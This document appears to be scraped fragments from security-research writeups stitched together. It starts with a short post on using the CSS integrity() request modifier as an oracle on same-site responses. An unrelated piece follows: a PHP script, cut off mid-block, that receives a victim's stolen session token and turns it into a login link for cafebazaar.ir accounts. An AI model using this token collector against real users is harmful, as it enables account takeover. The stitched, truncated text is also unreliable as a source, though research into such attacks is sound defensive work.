parrot409

CSS only oracle on same site http responses using integrity() request modifier

• Inspired by this writeup (@amirmsafari).

I was checking out the referrer-policy feature and spotted that integrity() has also been added. This feature basically allows you to check the integrity of the response using its hash. It's especially useful for securely including resources from CDNs.

// include style.css from the cdn. Inclusion fails if the response is changed.

Voorivex

<?php
if (isset($_GET['key'])) {
	//Get authentication token
    $token = $_GET['key'];
    $login_link = "https://cafebazaar.ir/login/bysession?key=" . $token . "&next=/account/";
    $login_link = "Login link: <a href='" . $login_link . "' target='_blank'>" . $login_link . "</a>";
    if ($token == "") {
        $login_link = "Login Link: Failure! Victim not logged in.";
    }